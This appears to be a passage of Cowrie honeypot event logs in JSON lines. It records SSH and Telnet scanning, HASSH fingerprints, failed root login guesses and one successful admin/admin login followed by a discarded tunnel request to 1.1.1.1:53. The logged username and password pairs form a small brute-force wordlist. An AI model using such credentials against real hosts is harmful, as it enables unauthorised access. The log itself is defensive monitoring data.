{"eventid":"cowrie.client.kex","hassh":"a20aced7c9824fd804f59e68dd801ad3","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a20aced7c9824fd804f59e68dd801ad3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:40.966267Z","src_ip":"34.62.33.11","session":"2a4eeedd1d52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:40.972027Z","src_ip":"34.62.33.11","session":"2a4eeedd1d52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:41.115999Z","src_ip":"34.62.33.11","session":"837efccbcfd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.33.11","src_port":61938,"dst_ip":"159.203.135.109","dst_port":22,"session":"abe8b1fb8e2e","protocol":"ssh","message":"New connection: 34.62.33.11:61938 (159.203.135.109:22) [session: abe8b1fb8e2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:41.191852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:41.275121Z","src_ip":"34.62.33.11","session":"abe8b1fb8e2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp384"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:41.350609Z","src_ip":"34.62.33.11","session":"abe8b1fb8e2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:41.359630Z","src_ip":"34.62.33.11","session":"abe8b1fb8e2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.33.11","src_port":61942,"dst_ip":"159.203.135.109","dst_port":22,"session":"f426a5baaa18","protocol":"ssh","message":"New connection: 34.62.33.11:61942 (159.203.135.109:22) [session: f426a5baaa18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:41.510555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:41.593422Z","src_ip":"34.62.33.11","session":"f426a5baaa18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp521"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:41.668502Z","src_ip":"34.62.33.11","session":"f426a5baaa18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:41.673797Z","src_ip":"34.62.33.11","session":"f426a5baaa18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.33.11","src_port":61958,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa0cfd8682d8","protocol":"ssh","message":"New connection: 34.62.33.11:61958 (159.203.135.109:22) [session: fa0cfd8682d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:41.816928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:41.896585Z","src_ip":"34.62.33.11","session":"fa0cfd8682d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-ed25519"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:41.970590Z","src_ip":"34.62.33.11","session":"fa0cfd8682d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:42.202666Z","src_ip":"34.62.33.11","session":"fa0cfd8682d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":52958,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c5456469ae1","protocol":"ssh","message":"New connection: 103.82.132.16:52958 (10.17.0.5:22) [session: 2c5456469ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:43.390164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:43.394461Z","src_ip":"103.82.132.16","session":"2c5456469ae1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:43.664876Z","src_ip":"103.82.132.16","session":"2c5456469ae1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"superstar","message":"login attempt [root/superstar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:44.465527Z","src_ip":"103.82.132.16","session":"2c5456469ae1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.7947680950164795,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:44.574007Z","src_ip":"176.65.139.121","session":"7b33e61b4bce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":36546,"dst_ip":"10.17.0.5","dst_port":23,"session":"aba3512a5721","protocol":"telnet","message":"New connection: 176.65.139.121:36546 (10.17.0.5:23) [session: aba3512a5721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:44.653118Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.197","src_port":45856,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e5a5ea76042","protocol":"ssh","message":"New connection: 43.153.50.197:45856 (10.17.0.5:22) [session: 6e5a5ea76042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:45.285597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:45.290950Z","src_ip":"43.153.50.197","session":"6e5a5ea76042","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:45.360459Z","src_ip":"43.153.50.197","session":"6e5a5ea76042","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030102030","message":"login attempt [root/102030102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:45.663457Z","src_ip":"43.153.50.197","session":"6e5a5ea76042","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:45.734049Z","src_ip":"103.82.132.16","session":"2c5456469ae1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:46.736090Z","src_ip":"43.153.50.197","session":"6e5a5ea76042","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.993995189666748,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:49.646922Z","src_ip":"176.65.139.121","session":"aba3512a5721","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":35406,"dst_ip":"10.17.0.5","dst_port":23,"session":"13cda89ed9b6","protocol":"telnet","message":"New connection: 176.65.139.121:35406 (10.17.0.5:23) [session: 13cda89ed9b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:49.733341Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.33.11","src_port":12976,"dst_ip":"159.203.135.109","dst_port":22,"session":"aac6319e3846","protocol":"ssh","message":"New connection: 34.62.33.11:12976 (159.203.135.109:22) [session: aac6319e3846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:54.954986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.10.0","message":"Remote SSH version: SSH-2.0-libssh2_1.10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:54.984253Z","src_ip":"34.62.33.11","session":"aac6319e3846","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"b4b8ae3d7241d2c1dc54b4df7e8c19d1","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: b4b8ae3d7241d2c1dc54b4df7e8c19d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:55.088356Z","src_ip":"34.62.33.11","session":"aac6319e3846","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:24:55.494395Z","src_ip":"34.62.33.11","session":"aac6319e3846","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.083626508712769,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:00.816855Z","src_ip":"176.65.139.121","session":"13cda89ed9b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":33598,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4247182f96d","protocol":"telnet","message":"New connection: 176.65.139.121:33598 (10.17.0.5:23) [session: a4247182f96d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:00.898291Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":45822,"dst_ip":"159.203.135.109","dst_port":22,"session":"817e9a169749","protocol":"ssh","message":"New connection: 185.236.22.41:45822 (159.203.135.109:22) [session: 817e9a169749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:06.622868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:06.634773Z","src_ip":"185.236.22.41","session":"817e9a169749","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:06.738682Z","src_ip":"185.236.22.41","session":"817e9a169749","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":5860,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ff66e777d5e","protocol":"ssh","message":"New connection: 87.251.64.176:5860 (10.17.0.5:22) [session: 7ff66e777d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:06.972934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:06.977881Z","src_ip":"87.251.64.176","session":"7ff66e777d5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:07.074412Z","src_ip":"87.251.64.176","session":"7ff66e777d5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vorona","message":"login attempt [root/vorona] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:07.191765Z","src_ip":"185.236.22.41","session":"817e9a169749","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:07.371363Z","src_ip":"87.251.64.176","session":"7ff66e777d5e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:07.472460Z","session":"7ff66e777d5e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:07.571214Z","src_ip":"87.251.64.176","session":"7ff66e777d5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:07.675661Z","src_ip":"87.251.64.176","session":"7ff66e777d5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:25:08.313490Z","src_ip":"185.236.22.41","session":"817e9a169749","protocol":"ssh"}
